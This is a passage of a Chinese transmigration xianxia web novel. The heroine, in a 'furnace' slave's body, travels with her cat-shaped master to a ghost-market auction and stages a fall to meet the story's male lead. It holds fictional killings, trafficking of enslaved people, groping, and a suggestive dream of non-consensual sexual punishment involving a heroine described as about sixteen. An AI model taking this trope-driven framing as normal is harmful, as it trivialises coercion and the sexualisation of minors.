所攻击对象的意志抵抗力越强,使用幻花瞳术的法力就越多,玻璃日引起的反噬也就越重,像天香楼这两个守卫,灵府抵抗力跟烂泥也差不了多少,秦无昼没受到多少反噬,一甩尾巴,轻轻巧巧跳下墙。
守卫既死,麻袋的禁锢失效,被绑在里面的炉鼎们接二连三钻了出来,瞧见面前一滩血肉烂泥,立刻吓得跌坐在地,几乎晕过去。
秦无昼没管这些人,从守卫的残骸里拨出意寒星的灵石袋,用尾巴卷着往回走。
进悦来客栈之前,他找了个水井,将灵石袋清洗干净,才步履优雅地跨进店门槛。
意寒星正试图用三寸不烂之舌说服客栈老板给自己赊账,他不想在外人面前暴露身份,只冲着她“喵喵”叫了两声。
意寒星低下脑袋看见他,连忙将奶牛猫抱起来,让它站在自己肩膀。
“哇你哪来的灵石?”她震惊打开这个陌生的钱袋。
秦无昼懒得和这蠢徒弟解释,闭目养神。
意寒星心道难不成是这人的私房钱?
不管了,得了银钱,她心中欢喜,分出数目交给老板,一边又感激殷勤地撸了一把肩上的猫。
秦无昼刚刚杀过人,心情不错,没有躲开。
那双才杀人于无形之间的金色猫瞳,因为生理性的舒服眯了起来。
7. 曼珠沙华
“老板,我要住店。”
悦来客栈老板从账册中抬起头,便被眼前少女绝世容貌给晃了一下神。
老板在无相鬼市开这家客栈数十年,见过不少气宇轩昂的修士,却是平生第一回见到如此美貌的女子。
对方看起来不过二八年纪,一身浅粉襦裙,长发油黑发亮,编成了一股麻花辫,乖巧地垂在颈侧,靠近右耳边别了一朵拇指大小的白绒头花,更衬得人比花娇,楚楚可怜。
尤其是那一双水光盈盈、欲语还休的鹿儿眼……
饶是店老板是个女子,对上来人的视线,也忍不住脸红心跳。
而意寒星眨了眨眼睛,穿到这个身体还有些不适应,她本来的身体因为熬夜玩手机近视了,现下没有眼睛,看人还是习惯性地略微眯起,遇光容易泛泪。
客栈老板定了定神,笑道:“您拿好,这是房间的门钥,还有随房附赠的万宝大会第一日邀请函一张。”
意寒星本来快走了,闻言又留了下来:“万宝大会?”
就是原书中林无咎遇险的宝物拍卖会吧。
原剧情中,林无咎怀疑失踪之人是被鬼市拐走,送进了万宝大会被当做货品拍卖,于是率领一行玉虚山弟子前来调查,也是在这里,林无咎意外中了无相之主的埋伏,误服情毒,遇到了原书女主卫如意。
客栈老板见她年纪轻轻,心中猜测大约是某个高门千金偷偷溜出来玩乐,有心讨好,于是热情解释道:“万宝大会每隔五十年才有一次,能被列为拍品的可都是有价无市的宝贝,大会总共持续十日,越往后出现的拍品越珍稀。不过若只想感受氛围,我们小店送的第一日邀请函也足够啦。”
她压低了声音,有些兴奋:“客人应该也是冲着万宝大会来的吧?听说这回还有好几个上品炉鼎呢。”
意寒星顿时像吞了只苍蝇似的恶心,摇头,转身上楼。
“你打算去万宝大会?”冷不丁,蹲在她肩头的奶牛猫秦无昼出声。
意寒星:“山不来就我,我自去就山。林无咎这个时间点出现在无相鬼市,想必也是冲着万宝大会而来,我只需在万宝大会上守株待兔,自然能等到他。”
秦无昼嗤笑:“倒也不算太笨。”
意寒星心道那还不是多亏有原书剧透,正好,她推开了客房门:“明日就是万宝大会召开第一日,今夜请师尊好好休养——”
她看清了屋内的陈设,一人一猫站在门外,齐齐陷入沉默。
这暧昧的艳粉色珠灯,这自动震动的宽大水床,这自带铁链的章鱼八爪凳,还有满墙满天花板的镜子……
谁能告诉她,为什么,客栈老板默认为她安排的是情-趣套房?
打扰了。
意寒星火速将门重新关上,又火速下楼找到老板质问。
“啊呀,可是,是客人您说要最贵的房间。”老板比她还诧异。
意寒星心道那还不是怕她跟着的那个祖宗鸡蛋里挑骨头。
老板见她神色不好,担心道:“可是房间哪里有不好?要不我把香炉里的催情香换成加强版的?”
意寒星:“……倒也不是这方面的不好。”
她想了想,还是决定开口:“老板,你们这里还有别的空房吗,给我换一间吧。”若是她自己一个人住也就罢了,可偏偏还有秦无昼,就算他如今只是只猫,但也……
老板歉然道:“正赶上万宝大会,人流暴增,刚刚最后一间房也被订走了。”
意寒星顿了下,才回去找秦无昼。
奶牛猫师尊正盘腿蹲在走廊的紫檀木扶手上,即使只是一只猫,仪态也十分优雅高贵。
意寒星将与客栈老板交涉的经过告知他,又道:“没办法了,只能住那间房。”
秦无昼不悦:“那屋子不知多少人睡过,脏死了。”
意寒星一边担心修仙界里会不会有摄像头,一边诚恳道:“如果不住,师尊可能得露宿街头了。”
秦无昼果断炸毛:“放肆!”
啧。这人真是矛盾得很,一边遮遮掩掩不肯让人讨论关注,一边又喜好奢华排场,一副改不掉的公子哥习气,难不成从前是富二代出身?
意寒星耐心劝说:“只要找到林无咎,我们马上就可以搬出去了,不过一两日,师尊暂且忍耐一番吧。”
秦无昼气得咻咻哈气,爪子在意寒星的袖口上泄愤挠了好几下,才不情不愿地被她抱进客房内。
一进屋,它就从意寒星手里跳下来,自动寻到了屋子里最高的衣柜顶,蜷缩成一团。
意寒星盯着他的背影看了一会,自己去了净室。
将门关上,她拿出随身携带的法术课课本,临时抱佛脚学了一招静音术,确保自己的声音不会被秦无昼听见,才用玉简联系了苏媚娘。
苏媚娘很是担心她的生命安全:“秦无昼那厮没对你动手吧?”
意寒星:“没有。”
她也正奇怪,鬼市动乱,要制造一些意外再简单不过了,但秦无昼却没有趁机下手,是忘了,还是觉得她一只秋后蚂蚱、不屑杀她?
……总不能是真心想让她去勾引林无咎吧!
“对了,最近我师尊的情况怎么样?”她当然问的是本体。
苏媚娘恨恨:“秦无昼最近还是在闭关,我们都见不到他的面。”
那应该还是在消化新收服的玻璃日了,虽然原著没有细说,但能生出这么个无敌大杀器的秘境,想必和龙潭虎穴也不相上下,即使厉害如秦无昼,也不能全身而退。
意寒星想了想,又道:“师姐知道分神术吗?就是利用尸体,将自己的一缕神识放进去那种。”
苏媚娘:“那是分神期以上的高级法术了,我知道得不多,你问这个做什么?”
意寒星心中隐约有了猜测:“若是本体受了伤,分神术所化出的分身是不是也会变得虚弱?”
苏媚娘:“不错。咦,你身边难道有秦无昼的分身?”
意寒星不想把她也牵扯进来,双重炮灰叠加岂不是双倍概率的死亡机会,于是她撒谎道:“不是,只是我在鬼市街上看到有修士演示,觉得好奇。”
苏媚娘警告她:“能制造分身的,都是分神期之上的大佬,就算人家重伤,要捏死你这种炼气期的小菜鸟还是一捏一个准的,你可不要冲动犯糊涂。”
意寒星无言,心道最没资格教训别人冲动的,恐怕就是苏师伯你吧。
但她心里还是感激对方的,穿到一个人不生地不熟的陌生世界,难得身边还有人真心相待,于是她笑了笑:“我知道的,我会多加小心,谢谢师伯关心。”
苏媚娘听到自家师侄还是如此老实乖巧,又想到她如今一人深陷在危机重重的鬼市,不禁叹了口气,反手又用玉简给她转账了一百灵石:“我也没什么能帮上忙的,这点零花钱你先收着。”
意寒星一边收款,一边语气认真:“不,师伯已经帮大忙了。”
从苏媚娘那里爆完金币,意寒星解除静音术,一拉开净室门,差点被等在门口的奶牛猫绊倒。
奶牛猫秦无昼一脸不悦地从她腿边绕开,又跳到衣架上,和她视线齐平了,才开口道:“你在里面磨蹭了许久。”
意寒星一脸老实无辜,反客为主:“师尊是想净手了吗,我看净室里好像有备猫砂。”
秦无昼一脸晦气:“此猫身已死,不用进食,自然也不需排泄!”
意寒星成功打岔,搅乱了对方的思路,才道:“我方才在里面,是在想师尊给我安排的任务,不知道该怎么做才好。”
秦无昼眯起眼,缓缓打量她,片刻,才道:“
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你害怕了?”
见意寒星点头,他又咧嘴一笑:“若是失败了,要挨罚的喔。”
合欢宗的惩罚,想必不是什么正经惩罚。
意寒星心有戚戚,这下真的开始忧虑了。
这份忧愁一直持续到她躺在床上,进入梦乡。
她做了个梦,奇怪的是,她很清楚的知道自己在做梦。
梦中还是熟悉的寝殿,秦无昼的寝殿,花窗大敞,窗外无月无星,夜色暗沉,临近窗下一汪半枯的荷塘,乳白薄雾之中,残花败叶若隐若现。
屋内,半人高的金枝灯台上只寥落地点了几盏油灯,焰色青红,随着古铜香炉生出的寥寥紫烟,焰光微晃。
床幔垂下,枕巾坠着的流苏时不时扫过意寒星的脸颊,痒得难受,偏偏她一点力气也没有。
和初次遇见秦无昼的情形不同,这一次上下颠倒,她成了瘫在床中无法动作、也无法出声的那一个。
其余一切都成了那日的翻版,冰凉光滑的缎面薄被只盖在腰部以下,其余肌肤被热息一吹,便激起一阵轻轻的战栗,欺霜赛雪似的颜色,很快便染上了荼蘼的红紫。
四肢身体全都无法自控,唯有感官传来的刺激层层叠加,宛如铺天盖地浪潮,她被裹挟其中,攀峰下山都不由自主。
而她的便宜师尊咧着嘴,白齿如珠贝耀目,笑容灿烂得让人无法想象同一人同时动作的凶狠残忍。
……
意寒星猛地睁开眼睛。
豆大的冷汗从额头滑落。
她宛如案板上垂死的活鱼,张开嘴喘了好久,激烈的心跳却久久没能平息。
小腹兀然发起热来,她愣了一下,才跳下床冲进净室。
里里外外检查了一遍,裙子却没有脏污。
没有血。
她长长地松了一口气。
随即涌上心头的,便是梦中秦无昼“惩罚”她的一幕幕。
求生不得,求死不能,不过如此。
意寒星正出神间,小腹却越来越烫。
她想起来对着铜镜一照,赫然发现小腹中央绘着一朵艳丽红浓的曼珠沙华。
意寒星如遭雷劈。
怎么要死不死居然是这玩意啊!
炉鼎的淫纹!
原书中,识别炉鼎的标志,除了貌美、格外容易诱发对方好感之外,最重要的就是炉鼎小腹上的淫纹。
那是一朵形似曼珠沙华的红花,花瓣细长,花姿妖娆。随着炉鼎的成长,更直白的说,炉鼎被他人用来采补、交合次数越多,花朵的颜色就越淡,等最终花朵消失,炉鼎本身也沦为被吸干精气的人干。
而她身上的曼珠沙华下方,还有一行小小的红字,标着“六十七”。
一开始穿书的时候她没注意,险些忘了这一劫!
意寒星不信邪,用力搓了一下自己的肚皮,除了吹弹可破肌肤立刻红起来以外,那朵花苞状的曼珠沙华依旧没有变化。
丸辣!她第一时间想到的,是任务失败后,若秦无昼真的要来“惩罚”她,届时一见她小腹淫纹,原身炉鼎的隐藏身份岂不是立刻被拆穿?
意寒星不觉得秦无昼这种典型的社会达尔文主义者会对炉鼎有什么同情心,若是如此,白日在天香楼前他就该出手。
更大的可能是,一旦她的炉鼎身份暴露,她目前这个暂时的秦无昼“私人物品”,很快就会被他物尽其用,变成全合欢宗上下的“公用财产”。
意寒星猛地打了个寒噤。
唯一值得庆幸的是,金鳞殿那一晚她是穿着衣服的,这个秘密暂时还能瞒下去。
她仔仔细细地将衣裳系好,平复了呼吸,重新拉开门。
门外,正站着秦无昼。
他神色漠然,视线缓缓下移,最后落在了她的小腹。
8. 原书男主(1)
意寒星整个人都僵在原地。
一时无言,厢房内落针可闻,她只能听见自己胸膛内越来越响亮的心跳声,一下接一下,几乎马上就要撞破胸口。
他不是睡着了吗?
为什么会站在这里?
他是发现了什么?
还是说……
秦无昼金灿灿的眼瞳再次上移,落在她的脸上:“你出了很多汗。”
意寒星呆呆地“啊”了一声,然后才想起来用袖子去擦,胡乱抹几下,才想起来问道:“师尊你怎么没睡?”
秦无昼定定地看着她,没回答,只道:“你方才又在净室内待了很久。”
意寒星憋了一会,憋出来一句:“我吃坏肚子了。”
秦无昼语气淡淡:“你已入炼气期,还会因为凡人的饮食不适?”
意寒星不知道他们这个世界的修士是什么情况,但她现在只能硬着头皮点头:“嗯。”
秦无昼又看了她一眼,最后下结论:“果然是太弱了。”
虽然话不好听,但对方似乎并未起疑,意寒星暗中松了一口气。
她已经渐渐习惯这人的随地大小嘲讽,只当做耳边风,想要赶紧摆脱他,往床边走:“我现在没事了,师尊也休息吧。”
秦无昼轻轻咳一声,示意她停下:“你先把灯点上。”
意寒星困惑,扭头看他:“点灯了怎么睡?”
秦无昼坚持:“你点了再说。”
意寒星只能改道,摸黑从桌上找到蜡烛,又擦了一根火柴。
如豆灯光亮起,秦无昼摆摆尾巴,一声不吭,跳上高高的衣柜顶,蜷缩起来。
等钻回了被窝里,意寒星才后知后觉,心道这人半夜不睡,堵在净室门口,该不会就是让自己给他点灯吧?
奇怪,他自己动一动手指的事情,非要叫她来,难不成怕黑成这样?
而且不开灯睡不着,这是什么小学生行为。
意寒星咬唇忍笑,闭上了眼睛。
事实证明,人不能得意得太早。
昨晚她嘲笑了某人开灯睡觉,第二天自己就因为彻夜失眠而没精打采。
都怪秦无昼!正常人在亮堂堂的屋子里肯定睡不着的啊!
奶牛猫秦无昼正好跳下衣柜,路过时撇了一眼意寒星眼下青黑,发出一声响亮的“哈”。
意寒星:绝对是在嘲笑吧!
她的拳头硬了。
秦无昼催促:“今日是万宝大会的首日,你再不出发,就赶不上入场了。”
意寒星吸了一口气,老老实实地弯腰,让师尊猫跳上自己的肩膀。
客栈老板附赠的邀请函上附有小型传送法阵,能直接将参加者送到万宝大会的现场。
意寒星打开信封,眼前划过一道金光,下一刻,已经身处一派金碧辉煌当中。
看看周围,有点像现代的歌剧院。她现下所处的,是二楼的公共座位区,往上数还有两层,是一间间私人包厢,有些已经坐了人,有些还空着,大多都用厚重的锦帘拉着,有效保护隐私。
一楼没有客席,只有一个巨大的圆形看台,青白玉地砖中隐隐有金光流动,应该是保护展品的法阵,想必届时拍卖的展品就会在此看台上展览。
每一份邀请函都对应一个座位,能直接将客人传送到相应的位置上,避免入场杂乱,就在意寒星东张西望的片刻,周围又陆陆续续多了许多客人。
意寒星很快意识到,各色男女老少中,自己竟是唯一一个没有戴面具的。
来来往往的客人似乎也注意到她这个另类,纷纷侧目。
意寒星下意识低下头。
糟了,她心道,这鬼市见不得光,估计来参会之人都不想被认出落下把柄,所以都是掩盖身份前来参加,悦来客栈的老板居然也忘了提醒她。
她正愁要不要掏出课本来现学一道易容咒,脸上忽然一重,是多了一副面具。
奶牛猫秦无昼坐在她的膝盖上,歪着脑袋端详了一会自己的审美,满意点头。
意寒星没忍住,又撸了一把他的脑袋:“师尊,你用法术给我做了个什么样的面具?”
秦无昼:“猫,黑白的。”
意寒星:“那不就和你的猫身一样?”
秦无昼理所当然:“师尊是黑白猫,徒弟也是黑白猫,有什么不对吗。”
意寒星连忙点头:“师尊所言甚是。”
一阵悦耳的铃声响起,说不清从哪里传来,又仿佛是四面八方都有银铃齐响,分明铃声纤细,整个会场却为之一静。
一层看台上,不知何时出现一名身型佝偻的老人,脸上施了术法,只能看见一团黑雾。
老人朝最高的私人包厢行一礼,才缓缓开口:“诸位贵客远道而来,鄙人谨代表无相市主,向各位致谢。”
意寒星心道无相市主大概就是这万宝大会的幕后大老板,听这名字,估计整个鬼市同他也有分不开的关系。
佝偻老人随手一挥,一张巨大的书卷凭空浮现,上面陈列着今日的拍品。
有人震惊道:“居然有枯骨墟的血珊瑚!那地方不是被魔族占据了吗,市主怎么拿到的?”
另一人道:“你第一次来吧?万宝大会上的拍品又不是市主自己搜寻的,只是旁人得来,不好脱手,寄拍而已。”
意寒星此行并非真的来参加拍卖,所以只是装模作样地瞄了几眼空中巨幅书卷,就开始偷瞄四周。
此时众人都在热情研究拍品,倒是无人注意她鬼鬼祟祟的行为。
意寒星扫了一遍,人人脸上都带着面具,看不出哪个是林无咎。
原书中,描写林无咎是“如清风朗月一般的男子,风姿濯濯如春月柳,神采郎朗似山巅雪”
——换句话说,就是什么也没讲。
意寒星想吐槽原文很久了,净整些花里胡哨、华而不实的玩意,就上述描写,十个美男里有十个都能套的上,修仙中人里又几乎没有长得丑的,只凭这种整容流水线模版一样的样貌描写,她能在这一堆蒙面修士里找到林无咎才怪。
她又瞄了一眼膝盖上老神在在、闭目养神的秦无昼,显然,他不会出手相助。
再不努力,昨晚的噩梦就要变成现实了。
意寒星想了想,决定兵行险着。
她将奶牛猫秦无昼放在座位上,小声道:“我去去就回,师尊你就在此地不要走动。”
说完,她就从位置上站起来,假装崴脚,摔倒在地:“哎哟。”
分明只是假摔,地上也铺着厚厚的绒毯,座椅扶手上也包裹着柔软的皮革,但就是不知道哪里来的锐器,一下子划破了她肩膀上的衣料。
来了,限制文内炉鼎的经典法则之一——只要摔倒必爆衣。
原身行事低调,衣柜里没有几件是自己买的,全是合欢宗的校服,偏偏问题就在这里,合欢宗的校服,怎么好看怎么穿,轻便、透气、暴露(划掉),总之就
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是不怎么结实。
意寒星已经尽己所能挑了一件露肤度最低的了,一身浅粉长裙,包得像中东妇女出门,却还是抵挡不住这该死的限制文设定。
此刻,少女柔弱地伏在地上,编发垂在白皙纤细的颈侧,几根细碎的绒发落在肩头,浅粉薄纱下,珠圆玉润的肩头若隐若现,引人遐思无限。
早在她摔倒一刹那,仿佛受到名为剧情不可抗力的感召,以她为中心,周遭一圈的修士全都扭过了头,脸上渐渐露出了如梦似幻的表情。
“那个,姑娘你没事吧。”离得最近的一个男修红着脸,朝她伸出手想扶她。
来了,限制文内炉鼎的经典法则之二——遇到挫折时随机吸引一个路人提供性援助。
意寒星面无表情地心想,这人还挺热心肠的,如果他的手不是往她的腰伸过去的话。
“多谢公子。”意寒星不动声色躲开对方想要借机揩油的咸猪手,趁机踩在他的手指上,后者惊呼一声,泪眼汪汪,抱着红肿的手指缩回去了。
“那个,你们能不能让开一点?”
正主怎么还没来?意寒星快速扫了一圈渐渐聚拢过来的人群,她闹出这么大动静,就是为了吸引林无咎的注意。
大前提:她是一枚不小心摔倒、引来不怀好意之人觊觎的可怜少女。
小前提:玉虚山剑宗中修罗剑林无咎,侠肝义胆,古道热肠,路遇不平便会拔剑相助。
可得:林无咎会来帮助她这枚落难少女。
只过片刻,她的炉鼎体质就已经起效,眼见越来越多的低阶修士脸上露出了中邪一般的迷幻笑容,原本寂静无声的会场大厅以意寒星为圆心,渐渐生出了细微的骚乱。
意寒星一边灵巧地躲过又一个修士的罪恶之手,同时在心里暗叹,不愧是限制文,炉鼎体质也太bug了,普通修士只要心神稍微不坚定一点就会被她吸引,情不自禁地想要同她双修,这效果,跟往鸽子堆里扔下一包薯条也没有什么区别。
不远处,秦无昼金灿灿的瞳孔中,倒映出被人群包围的少女。
宛如掉入豺狼堆的小白兔,偏偏弱小的猎物本人却没有呼救。
少女的脸上有装出来的惊慌与无助,可唯独秦无昼看清了那双水灵鹿儿眼眸中的镇定与期待,明亮摄人。
他这蠢徒弟,倒是……不大一样。
就在他缓缓起身之时,人群之中,忽然传来一声温润的青年嗓音:“诸位请让开,这位姑娘已经说了,不想被人围着。”
躁动的人群顿了一下,宛如分海,裂开一条通道,其中走出一位白衣公子。
他也没有戴面具,意寒星看清他的脸,脑中顿时浮现那句“风姿濯濯如春月柳,神采郎朗似山巅雪”。
作者,诚不我欺。
背负一柄半人高薄剑,右手腕上一串磨损佛珠,垂目温和,顾盼生辉,此人当是修罗剑林无咎无疑了。
“姑娘还站得起来吗?”林无咎果真如书中所写的那般友善,眸中不带一丝邪念,朝她伸出援手。
来了来了,她完成任务、逃离秦无昼魔爪的机会来了!
一定要给原书男主留下一个深刻印象,要知道这可是为数不多能抵御炉鼎体质的正直标杆啊!
意寒星立刻两手握上林无咎的胳膊,双眼炯炯:“仙长你好!请和我双修!”
全场鸦雀无声。
人群之外,秦无昼收回了迈出一步的腿,忽然意味不明地笑了一声。
9. 原书男主(2)
“仙长,请和我双修!”
这一声,堪称石破天惊,余音绕梁。
唯独处于众人视线焦点的意寒星一脸老实,愣是将“一起双修”说成了“一起吃个饭”似的淡然。
背后,还能感受到秦无昼耐人寻味的视线,必须得完成任务,不过,具体怎么做,那就是她的自由了。
她又不是真想和原书男主有什么。
须臾,林无咎“噗嗤”一笑:“姑娘受惊了。”
是将意寒星的话当成受惊之后的胡言乱语,就这么轻轻揭过了。
他将意寒星拉起来,笑道:“姑娘可有受伤?”
意寒星本想说实话,转念一想自己此行目的,立刻改了口:“好像脚腕疼。”
林无咎颔首:“听说会场为防贼人,特地在地砖下铺设了杀阵,若是旁人误触机关,的确可能会被泄露出来的阵气割伤。”
意寒星从善如流,跟着点头:“仙长,我……”
她欲言又止,怯生生环视了一圈周围虎视眈眈的修士,又将自己破损的衣衫往上提了提。
林无咎察觉到她的视线,跟着扫了一圈,皱起眉:“我与同伴在三楼有一间私人包厢,还有空位,姑娘若是不介意,可以同我们一道。”
说完,他随手一抬,灵光一闪,将她肩上破损的衣料补好了。
意寒星在大庭广众闹这么一出,本就是为了能给林无咎留下深刻印象,方便后续深入交流,如今任务目标自己提出来让她跟着,她岂有拒绝之理。
“太好了,多谢仙长。”
意寒星随他才走了几步,就有围观修士不满出声:“凭什么你能把人带走?!”
林无咎循声望去,微微皱眉:“阁下又是何意?”
那人便是先前朝意寒星伸出咸猪手、被打回去的家伙,他显然贼心不死,竟是开始胡搅蛮缠:“你和这位姑娘也是初次相识吧?哼,来历不明的男人,一见人家一个小姑娘,就贸贸然要把她带到私密的厢房内,自己瓜田李下,还怕我们说吗!”
简直是倒打一耙!意寒星正欲张口为男主分辨,又有一人搭腔:“可不是,口口声声说是为了保护,可人心隔肚皮,谁知道你心里打着什么龌龊心思。”
林无咎只道:“我与阁下萍水相逢,阁下却动辄辱我名声,是非君子所为,还请阁下慎言。”
那咸猪手修士还要再说,意寒星却已经忍不住了,直接抢白道:“救了我的仙长不是好人,难道你们就是好东西了?就说方才,别人衣裳破了,你们又哪一个有主动借出一件外袍?”
那两个修士噎了一下,辩白道:“不就是借一件衣袍而已,就称得上好人君子了?”
意寒星双手叉腰,还要再说,却听身边林无咎温声开口:“既然如此,阁下不如说说何为君子?”
修士眼珠一转,断然道:“玉虚山剑宗、修罗剑林无咎!降魔救民,不取分文、不求虚名,这才堪称正道魁首!”
说罢,又斜了一眼他们二人:“像你这样的,不够格。”
意寒星:……算了吧,他不够格,这世上就没人够了。
她默默将涌到嘴边的脏话吞了回去,连看对方的眼神里都多出了一点怜悯,这人大概觉得搬出修罗剑这样的高标准来,就能将男主吓退。
也不怪他这么想,因为在场还有许多人都开始纷纷附和:“不错,只有林无咎那样的修士,才能称得上高洁君子!”
林无咎微微一笑:“诸位谬赞,在下却是受之不起。”
此话一出,众人皆是一愣,看得意寒星在心底狂笑:活该!要知道《霸道仙尊日日强制爱》里,她最喜欢的剧情之一就是男主的各种扮猪吃老虎,装逼打脸,爱看爽文实乃人之本性。
在一片古怪的寂静中,林无咎脸上笑容未变,依旧温声细语:“此次出行,为免节外生枝,我本该乔装潜行,但看来我不自揭身份,诸位是不会轻易放我离开了。”
回答他的只有满场寂静,片刻,忽然有人指着他的手腕,大叫一声:“他腕上有凤凰木佛珠!是真的林无咎!”
终于认出来了,意寒星抱着胳膊,吃瓜吃得正开心,忽然想到什么,一惊:对了,这段剧情男主要隐瞒身份查案的啊!怎么现在就掉马了!
糟糕,她又改了原书剧情……
林无咎的身份一亮,原先那几个哼哼哈哈的修士脸上早就一阵青一阵白,夹着尾巴溜之大吉,因为跑得太慌张,被台阶绊了一跤,摔了个狗吃屎,身后经过其他修士顺便在他们背上踩了好几脚。
不过意寒星没空再搭理这些人了,她捏着裙摆,语气愧疚:“抱歉,林仙长,我是不是坏你的计划?”
一传十十传百,估计很快,玉虚山弟子潜入鬼市的消息就会传到无相之主耳朵里,届时敌人在暗男主在明,危险比原书里又要翻上好几倍了。
林无咎温声道:“姑娘莫要如此想。我来此本就是为了救人,而姑娘需要我相救,这又怎么算是违背我的计划与初衷呢?”
真不愧是原书里的道义模范、三好男主!意寒星这下是真的有点感动了。
忽然身后传来“喵喵”叫声。
“啊,对了,差点落了东西。”她转过身,将一脸漠然的奶牛猫抱起来,快步走回林无咎身边。
唉,有了男主作对比,这便宜师尊现下真是哪看哪不顺眼……
林无咎耐心地等她跟上来,确认她行动无虞后,视线若有似无地瞥了一眼那只奶牛猫。
猫瞳似金,平静地同他对视。
林无咎微微一怔,随即像是想到什么,好笑地摇了摇头,移开了视线。
意寒星介绍道:“这是我的灵宠,叫、呃、叫小白。”
奶牛猫皱起眉毛,对这个随处可见的名字一脸厌恶。
“小白。”林无咎笑道,“很可爱的名字。”
两人一猫回到三楼厢房边,一名戴恶鬼面具的女修正焦急地东张西望,看见林无咎归来,女修松了一口气,但很快又张大了嘴:“林师伯,你又从外面捡东西回来了?”
是的,原书中林无咎只要看到需要帮助的,哪怕是猫猫狗狗,都会捡回玉虚山,托他的福,堂堂玉虚山剑宗,里面比剑还多是各种灵兽,连隔壁龙吼山御兽宗都自愧弗如。
林无咎轻声呵斥:“英子,不得无礼,这位是意寒星意姑娘。”
在来私人包厢的路上,意寒星已经和他做过了自我介绍,出门在外,身份全靠自己给,这次她给自己的人设是某个地方散修世家的独生女儿,修为平平,但得家中宠爱,才来无相鬼市见见世面。
林无咎分别为她们二人做了自我介绍,恶鬼面具女修名为吴英子,朝意寒星不好意思地吐了吐舌头。
林无咎道:“这位姑娘方才被地下阵气割伤,我记得出行时带了灵药,劳烦英子你帮她治疗了。”
吴英子点头,带着意寒星往包厢里走,一边自来熟地和她闲聊:“这鬼市果然是凶恶之地,还是光天化日,这帮人就盯上你了。还好林师伯听见楼下骚动,赶去的及时,要不你可就真危险了。”
意寒星也露出后怕的表情:“我从前只听说鬼市不受普通仙门拘束,可没想到竟是如此无法无天……”
吴英子找出了灵药,扭头看见意寒星肩膀上的奶牛猫,露出了所有人看见猫咪都会露出的狰狞表情:“哪里来的小猫,给我亲亲——”
奶牛猫一摆尾巴,转身轻巧地跳上了屋子里最高的百宝阁上。
吴英子捏着药瓶,可怜兮兮地在原地蹦跶了几下,还是摸不到,只好放弃,转头回来给意寒星抹药,想起来接之前的话茬。
“可不是,听说之前有修士在拍卖会上拍下一件珍惜藏品露了富,脸上的面具没系好,被贼人盯上了,次日天亮就被人发现割喉死在了客栈里,买下的拍品也不翼而飞。所以林师伯告诉我们,进入万宝大会之后,决不能将面具摘下。”
意寒星困惑道:“可我方才见林仙长,他脸上没有面具?”
吴英子语气愧疚:“昨晚我们居住的客栈遭了贼人,我的面具和行李都丢了,林师伯才将他的面具借给我。”
意寒星“哦”了一声,忽然想到什么:“你们昨晚什么时候遇的贼?”
“子时吧。”吴英子一想起来就咬牙切齿,“那贼人还与林师伯交了手,但逃的很快,要不是我们不能——”
她突然想到什么,赶紧捂住嘴,一脸生怕自己说漏嘴的表情。
子时,那大概就是意寒星躲在净室里,用静音咒和苏媚娘传音的时候。
意寒星冲她笑笑,岔开了话题:“我感觉脚上的伤好多了。”
吴英子连连点头。
两人都默契地没再提之前的事情,但意寒星看过原书,大概猜到了吴英子没说完的下半句话。
无非是他们乔装潜入无相鬼市,担心被无相之主发觉,不敢冒用灵力斗法
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,所以才让贼人逃走。
不过,原书中有男主遭贼这一节吗?意寒星想不起来,干脆就不去想了,反正男主气运在身,逢凶也能化吉,她还不如多多关心自己比较好。
秦无昼交给她的任务还八字没一撇呢。
说到秦无昼,她这才发现屋子里格外的安静,百宝阁架上空无一物。
“咦?我的猫呢?”
*
“主上。”南浔垂手立在台阶下方,等里面的人应了,才掀帘而入。
这是秦无昼寝殿后的练功室,寻常人不得入内,此刻也只有他们两人。
秦无昼一身洒金紫袍,黑发如缎,只用一根枯枝松松垮垮挽了个髻,赤脚盘腿坐于冰晶莲花座上,闭着眼睛,正在运功打坐。
南浔不敢出声,像往常一样,安安静静地垂手侍立在下方。
良久,秦无昼才睁开眼睛,缓缓吐出一口浊气,眼眶内玻璃日滴溜溜转了半圈,这才转向下方沉默的青衣青年,他咧嘴笑起来:“都说了在我面前不要这么死板嘛。”
南浔板着脸:“人族常说礼不可废,主上一日是主上,就日日是主上。”
秦无昼夸张地拖长音叹了口气:“南浔你还是老样子,跟老头子一样古板,真没意思!”
他仰面倒了下去,蹬掉两只木屐,胳膊张开摆成一个大字:“而且都说了不要叫我主上嘛,一点也不好玩。而且你现在明面上是我的大徒弟哦,小心说漏嘴。”
南浔漠然道:“属下和主上不一样,属下向来谨慎小心。”
秦无昼勾了勾嘴角,单手支着脑袋,歪头看他:“那请问小心谨慎的南浔公子,这回给我带回来了什么消息?”
南浔“噗通”一下就跪下了:“属下办事不力,罪该万死!昨夜子时,属下前往无相鬼市时,意外被随行修士发现。不能坏主上大计,属下没敢与对方交手,只能伪装成盗贼,您要我杀的人,属下也没有杀成。”
秦无昼打了个滚,没什么波澜:“这不怪你。林无咎向来心细如发,恐怕你在无相鬼市一跟踪他,他就已经发觉了。”
南浔跪在地上不肯起来:“是属下失职,属下甘愿领罚。”
“罚什么。”秦无昼动了动手指,一道清风强行将南浔扶起来,“我就剩下你这么一个忠心耿耿的好狗,再把你罚坏了,我就真成孤家寡人了。”
南浔神色严肃:“那我还是去杀了那人——”
秦无昼摇头:“你小师妹同他们碰面了,若你再去,怕会被她认出来。”
南浔一愣:“寒星?”
他皱起眉来,顿了顿,还是忍不住开口:“忠言逆耳利于行,属下有话一定要说。其实一开始属下就不赞成让寒星涉及此事,她修为术法样样稀松,又是个经不住事的老实孩子,勾引暗杀这类的任务,她怎么做得来?林无咎一见她就会怀疑的。”
秦无昼呵笑一声:“你又怎知,这不正合我意?”
南浔又是一怔:“属下愚钝,主上您的意思是……”
“丢出一颗小石子,扰人耳目而已。”秦无昼笑了笑,没再解释,挥了挥手,示意他先离开。
南浔习惯听从,于是行了一礼,退下了。
待南浔离开,秦无昼慢慢翻身坐起。
花窗半开,日光倾斜射入,隐隐约约传来屋外鸟语欢快。
室内一片寂静,半晌,秦无昼的嘴角咧开,是一个无声的笑容。
他渐渐笑出了声,像是不能自控一般,双手捂着脸颊,直到笑得喘不过气来。
张开的五指指缝间,那双熔金一般的玻璃日正在飞速旋转。
尚未完全驯化的神器,会给它的宿主带来各种各样的副作用。
就像此刻,秦无昼的笑声里慢慢混杂了愤怒的低吼,某时,玻璃日从他的眼眶里掉出来,打着旋飞出他的掌心。
笑声兀止,不知何时,他已经浑身湿透,脸色苍白如纸。
他像只猫儿蜷缩成一团,大喘了几口气,才摸索着去找自己掉出来的眼珠子。
